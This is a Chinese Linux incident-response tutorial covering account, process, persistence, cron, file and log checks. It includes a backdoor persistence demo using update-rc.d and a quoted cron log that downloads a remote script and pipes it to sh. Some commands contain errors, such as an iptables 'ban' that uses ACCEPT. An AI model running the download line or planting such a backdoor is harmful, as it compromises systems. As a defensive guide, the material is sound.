Linux應急響應入門——入侵排查

0x01 Linux 樹形系統結構:

/bin
binary的簡寫
存放著linux基礎的可執行文件,例如ls、cd .......
該目錄區別于/usr/bin,它可在沒有安裝其他文件系統單獨運行比如(單用戶)

/usr/bin
本地登陸用戶可訪問應用程序/可執行二進制文件
一般惡意軟件更容易感染該目錄下文件,例如ssh、top、crontab.......

/sbin
binary的簡寫
存放著linux基礎的可執行文件,例如ls、cd .......
該目錄區別于/usr/bin,它可在沒有安裝其他文件系統單獨運行比如(單用戶)

/usr/sbin
在系統啟動期間本地登陸的管理用戶有關系統管理的可執行二進制文件
該目錄一般不容易出問題,除非是git.kernel.org被搞了,里邊命令例如
fastboot、fdisk、grub.......

/usr
unix software resource的簡寫
登陸用戶對linux操作的實際目錄,包含了linux的應用程序/可執行程序、64/32 位的依賴庫、登陸用戶的配置文件、登陸用戶的底層管理程序、頭文件

/var
可以理解為linux的緩存目錄,大多數情況會以只讀掛載到/usr下用于系統的緩
存數據和應用程序的緩存,例如應用程序緩存、標準庫、某個程序運行導致的
文件設備的鎖定(apt、yum)、日志文件、pid信息

/lib、/lib32、/lib64、libex32、/libexec
/lib主要包含內核模塊、引導系統以及linux運行所需要的基本共享庫
/lib<qual>在不同(32/64)環境下會調用不同的基本共享庫
/libx32 是面向x32 ABI(x32 Application Binary Interface)的目標文件和庫
/libexec不由用戶和shell執行的二進制文件,一些lfs用于產品會有libexec作為部 署程序
一些二進制可執行程序劫持,會將so文件釋放到/lib下

/dev
device的簡寫
存放著一些特殊的文件和設備文件位置

/dev/null 是類Unix系統中的一個特殊文件設備,他的作用是接受一切輸入它的
數據并丟棄這些數據。

/mnt
mount的簡寫,掛接光驅、USB設備的目錄看文件已
經被刪除,但是進程還在跑的情況

mount /dev/nvme0n1pxx /mnt/xxxx // 掛載
umount /mnt/xxxx //卸載

/proc
linux偽文件系統,存儲了系統正在運行的所有信息,例如高級電源管理、引導參數、
所有設備使情況......
通常我們會用ls –alth /proc/*/exe,查看某惡意進程對應的二進制文件或查看文件已
經被刪除,但是進程還在跑的情況

/sys
linux偽文件系統,為linux提供內核、驅動、設備信息,包括但不限于各種總線,有點
類似于window硬件管理

/root、/home
root用戶目錄、普通用戶目錄
都存放著用戶shell相關的配置文件,例如.bashrc、.bash_history、.ssh、.config、

profile
可能會存在惡意alias(bashrc)、攻擊留下來的歷史命令信息(.bash_history)、用來維
持權限的免密登陸(.ssh/authorized_keys)、一些軟件的配置信息(.config)
/boot
主要存放linux內核文件以及引導加載程序,出現問題的比較少,利用難度比較高

/run
該目錄是臨時文件系統, 存儲是啟動之后的所有信息

/srv
區別于/var目錄,主要存儲用戶主動產生的數據和對外的服務

/tmp
臨時文件目錄,用戶存放用戶產生的臨時文件,可以隨時銷毀,或者系統可以自動銷 毀,權限比較低
由于權限比較低,所以惡意軟件或者攻擊行為會在此路徑下生成或落地木馬以及工具。

0x02 賬號安全:


  • 1、用戶信息文件 /etc/passwd(主要查看uid為0的賬戶)
# 格式:account:password:UID:GID:GECOS:directory:shell
# 用戶名:密碼:用戶ID:組ID:用戶說明:家目錄:登陸之后的 shell
root:x:0:0:root:/root:/bin/bash
# 查看可登錄用戶:
cat /etc/passwd | grep /bin/bash
awk -F: '{if($7!="/usr/sbin/nologin")print $1}' /etc/passwd
# 查看UID=0的用戶
awk -F: '$3==0{print $1}' /etc/passwd
awk -F: '{if($3==0||$4==0)print $1}' /etc/passwd
#查詢可以遠程登錄的帳號信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 查看sudo權限的用戶
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

useradd admin     #創建一個用戶,在home目錄下不創建文件夾
passwd admin      #修改之前創建的賬號的密碼
adduser admin2    #是一個比較完善的創建用戶的命令,會在home目錄下生成一個admin2的文件夾

#禁用帳號,帳號無法登錄,/etc/shadow第二欄為!開頭
usermod -L user    
#將刪除user用戶,并且將/home目錄下的user目錄一并刪除
userdel -rf user #-r 完全刪除一個賬戶   -f強制刪除

#如果遇到賬戶刪除顯示已經刪除,但創建同名的用戶提示用戶已存在的情況,嘗試以下方法進行刪除。
#手動刪除passwd、shadow、group里面用戶相關字段,以及用戶相關的log和mail,并強制刪除home目錄下用戶的文件夾。
/home
/etc/passwd
/etc/group
/var/spool/mail

注意:無密碼只允許本機登陸,遠程不允許登陸

  • 2、影子文件:/etc/shadow
# 用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
  • 3、查看當前登錄用戶及登錄時長
who     # 查看當前登錄系統的所有用戶(tty 本地登陸  pts 遠程登錄)
w       # 顯示已經登錄系統的所用用戶,以及正在執行的指令
uptime  # 查看登陸多久、多少用戶,負載狀態
  • 4、排查用戶登錄信息
  • 查看最近登錄成功的用戶及信息
# 顯示logged in表示用戶還在登錄
# pts表示從SSH遠程登錄
# tty表示從控制臺登錄,就是在服務器旁邊登錄
# 會讀取/var/log/wtmp,并把該給文件的內容記錄的登入系統的用戶名單全部顯示出來。
last
  • 查看最近登錄失敗的用戶及信息:
# ssh表示從SSH遠程登錄
# tty表示從控制臺登錄
# 讀取位于/var/log/btmp,并把該文件內容記錄的登入失敗的用戶名單,全部顯示出來
sudo lastb
  • 顯示所有用戶最近一次登錄信息:
# /var/log/lastlog,根據UID排序顯示登錄名、端口號(tty)和上次登錄時間。
lastlog
  • 當前登錄的用戶,每個用戶名對應一個登錄會話。如果一個用戶不止一個登錄會話,其用戶名顯示相同次數
users

在排查服務器的時候,黑客沒有在線,可以使用last命令排查黑客什么時間登錄的有的黑客登錄時,會將/var/log/wtmp文件刪除或者清空,這樣我們就無法使用last命令獲得有用的信息了。在黑客入侵之前,必須使用chattr +a對/var/log/wtmp文件進行鎖定,避免被黑客刪除

  • 5、sudo用戶列表:/etc/sudoers
入侵排查:

# 查詢特權用戶特權用戶(uid 為0):
awk -F: '$3==0{print $1}' /etc/passwd
# 查詢可以遠程登錄的帳號信息:
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帳號外,其他帳號是否存在sudo權限。如非管理需要,普通帳號應刪除sudo權限:
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

# 禁用或刪除多余及可疑的帳號
usermod -L user    # 禁用帳號,帳號無法登錄,/etc/shadow 第二欄為 ! 開頭
userdel user       # 刪除 user 用戶
userdel -r user    # 將刪除 user 用戶,并且將 /home 目錄下的 user 目錄一并刪除

0x03 進程排查:


ps aux
ps -ef
pstree -aup   

lsof -i:port
-i 篩選關鍵字,比如進程名、PID、USER、IPv4/IPv6、TCP/UDP

pstree -aphn
-a 顯示該進程命令行參數
-p 顯示pid
-h 高亮當前進程以及父進程
-n 按照pid排序

使用 ps 命令,分析進程,得到相應pid號:ps aux | grep 6666

查看 pid 所對應的進程文件路徑:

# $PID 為對應的 pid 號
ls -l /proc/$PID/exe 或 file /proc/$PID/exe
pwdx pid # 獲取啟動惡意文件的路徑

分析進程:

# 根據pid號查看進程
lsof -p 6071
# 通過服務名查看該進程打開的文件
lsof -c sshd
# 通過端口號查看進程:
lsof -i :22

獲取進程的status信息(啟動時間,完整鏈路):systemctl status pid
查看進程的啟動時間點:ps -p 6071 -o lstart
根據pid強行停止進程:kill -9 6071

注意:
如果找不到任何可疑文件,文件可能被刪除,這個可疑的進程已經保存到內存中,是個內存進程。這時需要查找PID 然后kill掉

若文件描述符還在,即使文件被刪除還是可以用cp命令拿到原件:cp /proc/$pid/exe evil.exe
或者查看environ可以看到里面有該文件的路徑:cat /proc/$pid/environ

使用strings命令查看惡意文件的字符串

當殺死的進程立刻重新啟動,啟動之后這個程序會刪除本身,以達到隱藏自己的目的

若發現惡意進程殺死后立刻重啟,通過編寫無限循環腳本殺死惡意進程:

  • 場景一:
    通過父進程pid是1我們可以推測程序利用了 systemd重啟惡意程序。
    通過程序無限重啟我們可以推測service的配置文件里面寫了Restart=always這個重啟策略。于是挨個去排查 /etc/systemd/里面注冊的 Restart=always的配置文件(未必可靠)

或者通過排查自啟動服務,查找是否存在該惡意文件,假如惡意文件為/usr/sbin/httpd:grep -E "/usr/sbin/httpd" -r /usr/lib/systemd/system --color=auto

查看所有服務狀態:

service --status-all
service --status-all | grep + | awk -F '  ' '{print $2}' | xargs -I {} service {} status  | grep -Po  "/.*?(?=;)" | xargs ls -al -tr

# 禁用惡意服務
systemctl disable pmapx_start_2
systemctl stop pmapx_start_2
  • 隱藏進程排查

應對方式一:unhide proc

unhide是一個小巧的網絡取證工具,能夠發現隱藏的進程和TCP/UDP端口。該工具在Linux、UNIX、Windows等操作系統中都可使用。在CentOS中安裝unhide時,首先需要安裝epel源:yum-y installepel-release,然后安裝unhide:yum-y install unhide
項目地址:https://www.unhide-forensics.info/?Welcome

應對方式二:busybox ps
以busybox方式執行ps,可以不預加載庫對于劫持lib場景有奇效。

應對方式三:

sudo sysdig -c topprocs_cpu  # 查看cpu進程占用情況
sudo sysdig proc.name contains evil_script   # 針對包含evil_script的進程監測
sudo sysdig -c topconns # 監測網絡情況
防火墻相關:
#iptables
-t 接表名(raw'網址過濾',nat'地址轉換',filter'包過濾',mangle'數據包修改')
-L 列出表里的規則
-n 顯示IP
-v 顯示進階的信息展示
-A 將規則添加到最后,只有放到最后才能執行
-i 指定網卡接口
-j 執行操作(包括有且不限于ACCEPT、DROP、RRDIRECT)

systemctl start/stop/restart/status iptables 防火墻開啟、關閉、重啟、狀態
iptables –L INPUT/OUTPUT -n 查看入站/出站規則
iptables -D INPUT 接規則號
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT 只允許某個網段連接22端口
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT ban掉某個網段對連接22端口

#firewalld
--state 防火墻狀態
--reload 不中斷服務重啟加載
--compete-reload 中斷所有連接重新加載
--runtime-to-premanent 永久保存添加的規則
--check-config 檢查配置
--get-log-denied 查看拒絕日志
--set-loag-denied 接參數 設置拒絕日志監測等級(all/unicats/broardcast/multicast/off)

systemctl start/stop/restart/status firewalld 防火墻開啟、關閉、重啟、狀態
firewalld-cmd –-state 查看防火墻狀態
firewalld-cmd –-list-services 查看開放的服務
firewalld-cmdd –-add-ports=22/tcp 開啟22端口
firewalld-cmdd –-remove-ports=22/tcp 關閉22端口
firewalld-cmd –-reload 更新防火墻規則

0x04 系統信息排查:


#du
-s 顯示總計
-h 以合適單位輸出統計結果
df
-u 顯示當前文件系統空間使用情況

#lspci
-v 以初階顯示設備詳細信息
-vv 以進階顯示設備詳細信息
-s xx:xx –vv 僅顯示總線和
插槽的設備信息,xx:xx數值可以通過lspci獲得

#lsusb
-v 顯示USB的詳細信息
-s xx:xx –vv 僅顯示總線和設備號的設備信息,xx:xx數 值可以通過lspci獲得
-d xx:xx僅顯示指定廠商和產品編號的設備

#systemctl 系統服務管理指令
systemctl status sshd 查看ssh服務狀態
systemctl start sshd 啟動ssh服務
systemctl stop sshd  關閉ssh服務
systemctl enable sshd 設置ssh開機自啟動
systemctl disbale sshd 關閉ssh開機自啟動
  • 通過 .bash_history 文件查看帳號執行過的系統命令:

打開 /home 各帳號目錄下的 .bash_history,查看普通帳號執行的歷史命令。
為歷史的命令增加登錄的 IP 地址、執行命令時間等信息:

# 1、保存1萬條命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
# 2、在/etc/profile的文件尾部添加如下行數配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
# 3、讓配置生效
source /etc/profile

注意:歷史操作命令的清除:history -c
該操作并不會清除保存在文件中的記錄,因此需要手動刪除 .bash_profile 文件中的記錄

  • 檢查端口連接情況:
netstat -antlp | more
-a 顯示所有連接和端口
-n 以數字形式顯示ip和port
-t 顯示tcp
-u  顯示udp
-v  顯示指令執行過程
-l 顯示監聽的服務
-s   顯示網絡工作信息統計表
-p 顯示建立連接的進程名以及pid
ESTABLISHED 建立連接、LISTENING 偵聽狀態、TIME_WAIT 連接超時

ss –antpr
-a 顯示所有連接和端口
-n 不解析服務的名稱
-t 顯示tcp sockets
-l 顯示監聽的端口
-p 顯示監聽端口的進程
-r 把ip解析為域名

tcpdump –i eht0 -w eee.pcap
-i 要抓取的網卡接口
-w 要保存的文件名
-C 100m 大于100M分割為另一個包
-c 10000 超過1萬個停止抓包
src host xxx 僅僅捕獲由該主機發起的流量
drc host xxx 僅僅捕獲發往該ip地址的流量
src port xxx 僅僅捕獲由該端口發起的流量

如發現異常的網絡連接需要持續觀察,可抓包分析:

tcpdump -c 10 -q   //精簡模式顯示 10個包
  • 檢查開機啟動項:

系統運行級別示意圖:

運行級別 含義
0 關機
1 單用戶模式,可以想象為windows的安全模式,主要用于系統修復
2 不完全的命令行模式,不含NFS服務
3 完全的命令行模式,就是標準字符界面
4 系統保留
5 圖形模式
6 重啟動

查看運行級別命令:

runlevel

開機啟動配置文件:

/etc/rc.local
/etc/rc.d/rc[0~6].d

啟動Linux系統時,會運行一些腳本來配置環境——rc腳本。在內核初始化并加載了所有模塊之后,內核將啟動一個守護進程叫做init或init.d。這個守護進程開始運行/etc/init.d/rc中的一些腳本。這些腳本包括一些命令,用于啟動運行Linux系統所需的服務

在上述每個目錄下有對應的啟動文件,為軟鏈接文件,真實文件都存放在/etc/rc.d/init.d/目錄中,文件名都是“字母S[K]+兩位數字+程序名”的形式。字母S表示Start,也就是啟動的意思,字母K表示Kill,也就是關閉的意思

開機執行腳本的兩種方法:

  • 在/etc/rc.local的exit 0語句之間添加啟動腳本。腳本必須具有可執行權限
  • 用update-rc.d命令添加開機執行腳本

1、編輯修改/etc/rc.local

2、update-rc.d:此命令用于安裝或移除System-V風格的初始化腳本連接。腳本是存放在 /etc/init.d/目錄下的,當然可以在此目錄創建連接文件連接到存放在其他地方的腳本文件。

此命令可以指定腳本的執行序號,序號的取值范圍是 0-99,序號越大,越遲執行。

當我們需要開機啟動自己的腳本時,只需要將可執行腳本丟在 /etc/init.d 目錄下,然后在 /etc/rc.d/rc.d 文件中建立軟鏈接即可*

語法:

  • update-rc.d 腳本名或服務 <remove|defaults|disable|enable>
#1、在/etc/init.d目錄下創建鏈接文件到后門腳本:
ln -s /home/b4yi/kali-6666.elf /etc/init.d/backdoor
#2、用 update-rc.d 命令將連接文件 backdoor 添加到啟動腳本中去
sudo update-rc.d backdoor defaults 99

開機即執行腳本,成功反彈到msf:

入侵排查:

查看開機啟動項內容

ls -alt /etc/init.d/
# /etc/init.d 是 /etc/rc.d/init.d  的軟連接

查看開機啟動項文件

more /etc/rc.local

ll /etc |grep rc
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/

檢查開機自啟動列表:

systemctl list-unit-files|grep enabled
  • 計劃任務排查:

保存在/var/spool/cron/{user}中,每個用戶都可以使用crontab -e命令編輯自己的定時任務列表。而/etc/crontab是系統級別的定時任務,只有root賬戶可以修改

需要注意的幾處利用cron的路徑:

crontab -l  # 列出當前用戶的計時器設置
crontab -e  # 編輯計劃任務
crontab -r  # 刪除當前用戶的cron任務
crontab -u  # 查看某用戶計劃任務

上面的命令實際上是列出了/var/spool/cron/crontabs/root 該文件的內容:

查看下cron具體的情況:service cron status

root@ubuntu:/home/ubuntu# service cron status
● cron.service - Regular background program processing daemon
   Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
   Active: active (running) since Sat 2020-04-18 22:16:06 CST; 2 months 22 days ago
     Docs: man:cron(8)
 Main PID: 1225 (cron)
   CGroup: /system.slice/cron.service
           ├─ 1225 /usr/sbin/cron -f
           ├─ 2109 /usr/local/safe//agent -d
           ├─ 2122 barad_agent                                
           ├─ 2123 barad_agent                                
           ├─ 2124 barad_agent                                
           ├─25447 /var/tmp/kinsing
           └─25478 /tmp/kdevtmpfsi

Jul 11 00:54:41 ubuntu CRON[17243]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[16998]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[17406]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[18192]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19703]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19705]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)
Jul 11 00:55:01 ubuntu CRON[19706]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1)
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:03 ubuntu CRON[19703]: pam_unix(cron:session): session closed for user root

可以看到cron 執行的命令記錄,還有一些關閉進程的信息之類

/etc/crontab 只允許root用戶修改
/var/spool/cron/ 存放著每個用戶的crontab任務,每個任務以創建者的名字命名
/etc/cron.d/ 將文件寫到該目錄下,格式和/etc/crontab相同
把腳本放在/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/目錄中,讓它每小時/天/星期/月執行一次

小技巧:

ls -al /var/spool/cron/    查看隱藏的計劃任務
more /etc/cron.daily/*  查看目錄下所有文件
cat /var/log/cron* 查看crontab日志確定編輯 crontab 的時間

入侵排查:重點關注以下目錄中是否存在惡意腳本:

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

入侵排查:


查詢已安裝的服務:
RPM 包安裝的服務:

chkconfig  --list  查看服務自啟動狀態,可以看到所有的RPM包安裝的服務
ps aux | grep crond 查看當前服務

系統在3與5級別下的啟動項 
中文環境
chkconfig --list | grep "3:啟用\|5:啟用"
英文環境
chkconfig --list | grep "3:on\|5:on"

源碼包安裝的服務:

查看服務安裝位置 ,一般是在/user/local/
service httpd start
搜索/etc/rc.d/init.d/  查看是否存在

0x05 異常文件檢查:

按照三種方式查找修改的文件:

  • 按照名稱
  • 依據文件大小
  • 按照時間查找
ls -alth
-a 顯示所有文件
-l 顯示文件權限,屬組屬主,大小,日期
-t 按照時間順序排序
-h 高亮
grep file_content search_directory
-R 搜索字符串
-P 使用正則匹配
-n 包含字符串文件的行號

搜索運行代碼文件:
通過文件描述符和文件類型確認正在運行的文件:

# 文件描述符
cwd – Current Working Directory
txt – Text file
mem – Memory mapped file
mmap – Memory mapped device
NUMBER – Represent the actual file descriptor. The character after the number i.e ‘1u’, represents the mode in which the file is opened. r for read, w for write, u for read and write.
rtd:root directory;
lnn:library references (AIX);
er:FD information error (see NAME column);
jld:jail directory (FreeBSD);
ltx:shared library text (code and data);
mxx :hex memory-mapped type number xx.
m86:DOS Merge mapped file;
mem:memory-mapped file;
mmap:memory-mapped device;
pd:parent directory;
tr:kernel trace file (OpenBSD);
v86  VP/ix mapped file;

# 文件類型:
REG – Regular File
DIR – Directory
FIFO – First In First Out
CHR – Character special file
BLK:塊設備類型
UNIX:UNIX 域套接字
IPv4:網際協議 (IP) 套接字
lsof | grep txt  | awk -F " "  '{print $NF}' | xargs ls -al -tr
lsof | grep "mem" | grep "253,1" | grep REG | awk -F " " '{print $NF} # 檢測so文件

linux文件不可修改權限:

chattr +I filename    給文件添加不可修改權限
chattr -I filename    將文件的不可修改權限去掉
chattr +a filename    給文件添加只追加權限
lsattr filename    查看文件是否設置了相關權限
-l參數:無論任何人想要刪除改文件均需要將此權限去掉
-a參數:讓目標只能追加,不能刪除,而且不能通過編輯器追加

如果root用戶都無法刪除相關文件,那么很可能是因為文件被加上了i屬性(設定文件不能被刪除、改名、設定連接關系,同時不能寫入或新增內容)。此時,需要使用lsatter filename命令查看文件屬性,然后使用chattr-i filename命令移除i屬性,進而刪除文件

  • 查看是否存在惡意的ssh公鑰:ls -alh /root/.ssh/

  • 分析文件日期:

# access time:表示我們最后一次訪問(僅僅是訪問,沒有改動)文件的時間
# modify time:表示我們最后一次修改文件的時間
# change time:表示我們最后一次對文件屬性改變的時間,包括權限,大小,屬性等等
# Birth time : 文件創建時間,crtime,不過據查此屬性linux已廢棄,目前狀態顯示結果均為-
stat xx.asp
  • 發現最近三天新建的文件,并復制到bak目錄下:
find / -ctime 3 -type f 2>/dev/null | xargs -i cp {} ~/bak
find / -type f -newermt '2022-6-8 00:00' ! -newermt '2022-06-9 23:16'

去掉/sys/fs、/run/udev、/sys/kernel之類開頭的數據,再根據黑客的習慣,比如把程序放在tmp目錄,來鎖定一些文件

  • 監控新文件,5分鐘刷新一次
watch -n 300 -d ls -lR /var/www/html/
  • 根據名稱查找文件
find / -name a.Test
# 如果文件名記不全,可使用通配符*來補全
# 如果不區分大小寫,可以將-name 替換為-iname
  • 依據文件大小查找:
    當發現木馬后,可以根據文件大小搜索有沒有其他木馬文件
find / -size +1000M
# +1000M表示大于1000M的文件,-10M代表小于10M的文件
find ./ -size -221c -size +219c -exec ls -lh {} \;
  • 依據時間查找:
# 查找最近一天以內修改的文件:
find / -mtime -1 -ls  | more 
# 查找50天前修改的文件:
find ./ -mtime +50 -ls
  • -atime 最后一次訪問時間, 如 less, more 等, 但 chmod, chown, ls, stat 等不會修改些時間(使用ext3文件系統的時候,如果在mount的時候使用了noatime參數那么就不會更新atime的 信息
  • -mtime 文件內容修改時間,如 vi 保存后等, 修改時間發生改變的話, atime 和 ctime 也相應跟著發生改變.
  • -ctime 最后一次狀態修改時間,如 chmod, chown 等狀態時間改變但修改時間不會改變, 使用 stat file 可以查看;(文件權限,所有者/組,文件大小等,當然文件內容發生改變,ctime也會隨著改變)
  • 要注意:系統進程/腳本訪問文件,atime/mtime/ctime也會跟著修改,不一定是人為的修改才會被記錄
  • 敏感目錄的文件分析:(類/tmp 目錄,命令目錄/usr/bin /usr/sbin 等)

按時間順序查:ls –alt /tmp/ | head -n 10

  • 查找隱藏文件ls -ar |grep "^\."
  • 特殊權限文件查找:
find / *.jsp -perm 777
find / -perm 777 |more
find / *.sh -perm 777|grep .sh
  • 根據屬主和屬組查找:
-user 根據屬主查找
-group 根據屬組查找
-nouser 查找沒有屬主的文件
-nogroup 查找沒有屬組的文件

# 查看屬主是root的文件
find ./ -user root -type f
# -type f表示查找文件,-type d表示查找目錄
# 注意:系統中沒有屬主或者沒有屬組的文件或目錄,也容易造成安全隱患,建議刪除。
  • 按照CPU使用率從高到低排序:
ps -ef --sort -pcpu
  • 按照內存使用率從高到低排序:
ps -ef --sort -pmem

補充:

1、查看敏感目錄,如/tmp目錄下的文件,同時注意隱藏文件夾,以“..”為名的文件夾具有隱藏屬性
2、得到發現WEBSHELL、遠控木馬的創建時間,如何找出同一時間范圍內創建的文件?
可以使用find命令來查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前訪問過的文件
3、針對可疑文件可以使用 stat 進行創建修改時間

find / -ctime -2                # 查找72小時內新增的文件
find ./ -mtime 0 -name "*.jsp"  # 查找24小時內被修改的 JSP 文件
find / *.jsp -perm 4777         # 查找777的權限的文件
ls -a /tmp                      # 查看臨時目錄
strings /usr/sbin/sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.'    # 分析 sshd 文件,是否包括IP信息
計劃任務和啟動項:
chkconfig                   # 查看開機啟動服務命令
chkconfig --list | grep "3:啟用\|3:開\|3:on\|5:啟用\|5:開\|5:on"
ls /etc/init.d              # 查看開機啟動配置文件命令
cat /etc/rc.local           # 查看 rc 啟動文件
ls /etc/rc.d/rc[0~6].d
runlevel                    # 查看運行級別命令
crontab -l                  # 計劃任務列表
ls -alh /var/spool/cron     # 默認編寫的 crontab 文件會保存在 /var/spool/cron/用戶名 下
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

0x06 簡單基線檢查:


wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check && chmod +x unix-privesc-check &&./unix-privesc-check > output.txt

0x07 內核級后門檢查:


rootkit是一種特殊的惡意軟件,功能是在安裝目標上隱藏自身及指定的文件、進程和網絡連接等信息。rootkit一般會與木馬、后門等其他惡意程序結合使用。

在對應目錄使用:ls -alt /bin,查看相關系統命令的修改時間,判斷是否有更改
在指定目錄使用:ls -alh /bin,可查看相關文件大小,若明顯偏大,則很可能被替換

Rootkit Hunter 項目下載地址:https://sourceforge.net/projects/rkhunter/files/

wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz && tar -zxvf rkhunter-1.4.6.tar.gz && cd rkhunter-1.4.6 && chmod +x installer.sh && ./installer.sh --install && cd files && chmod +x rkhunter && ./rkhunter --propupd && ./rkhunter -c
rkhunter --check

運行完后會生成日志文件在/var/log/rkhunter.log

chkrootkit

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.55/
make sense
cd ..
cp -r chkrootkit-0.55/ /usr/local/chkrootkit
chkrootkit

0x08 系統日志檢查:


日志默認存放位置:/var/log/
必看日志:secure、history
查看日志配置情況:more /etc/rsyslog.conf

日志文件 說明
/var/log/cron 記錄了系統定時任務相關的日志
/var/log/cups 記錄打印信息的日志
/var/log/dmesg 記錄了系統在開機時內核自檢的信息,也可以使用dmesg命令直接查看內核自檢信息
/var/log/mailog 記錄郵件信息
/var/log/messages 記錄常見的系統和服務錯誤信息。這個日志文件中會記錄Linux系統的絕大多數重要信息,也記錄了某個用戶切換到root權限的日志
/var/log/btmp 記錄錯誤登錄日志,Linux登陸失敗的用戶、時間以及遠程IP地址。這個文件是二進制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 記錄系統中所有用戶最后一次登錄時間的日志,這個文件是二進制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久記錄所有用戶的登錄、注銷信息,同時記錄系統的啟動、重啟、關機事件。同樣這個文件也是一個二進制文件,不能直接vi,而需要使用last命令來查看
/var/log/utmp 記錄當前已經登錄的用戶信息,這個文件會隨著用戶的登錄和注銷不斷變化,只記錄當前登錄用戶的信息。同樣這個文件不能直接vi,而要使用w,who,users等命令來查詢
/var/log/secure 記錄驗證和授權方面的信息,只要涉及賬號和密碼的程序都會記錄,比如SSH登錄,su切換用戶,sudo授權,甚至添加用戶和修改用戶密碼都會記錄在這個日志文件中
/var/log/boot.log Linux系統開機自檢過程顯示的信息

Ubuntu 和 Debian 在
/var/log/auth.log 中存儲認證信息,而 RedHat 和 CentOS 則在 /var/log/secure 中存儲該信息。

/var/log/wtmp 登錄進入,退出,數據交換、關機和重啟紀錄
/var/log/lastlog 文件記錄用戶最后登錄的信息,可用 lastlog 命令來查看。
/var/log/secure 記錄登入系統存取數據的文件,例如 pop3/ssh/telnet/ftp 等都會被記錄。
/var/log/cron 與定時任務相關的日志信息
/var/log/message 系統啟動后的信息和錯誤日志
/var/log/apache2/access.log apache access log

需要重點分析的日志有/var/run/utmp/var/log/lastlog/var/log/wtmp
/var/log/btmp/var/log/secure及軟件安裝?志等

日志分析技巧:

1、定位有多少IP在爆破主機的root帳號:  
# Debian 系的發行版  
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Red Hat 系的發行版
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破:
grep -i "Failed password" /var/log/auth.log
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用戶名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
查看暴力猜用戶名的人:
# Debian 系的發行版
sudo grep "Failed password for invalid user" /var/log/auth.log | awk '{print $13}' | sort | uniq -c | sort -nr | more
# Red Hat 系的發行版
sudo grep "Failed password for invalid user" /var/log/secure | awk '{print $13}' | sort | uniq -c | sort -nr | more

grep "Failed password" /var/log/secure | awk {'print $9'} | sort | uniq -c | sort -nr
grep -o "Failed password" /var/log/secure|uniq -c
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}
 
2、登錄成功的IP有哪些:   
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Debian 系的發行版
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Red Hat 系的發行版
grep "Accepted" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

登錄成功的日期、用戶名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 

3、增加一個用戶kali日志:
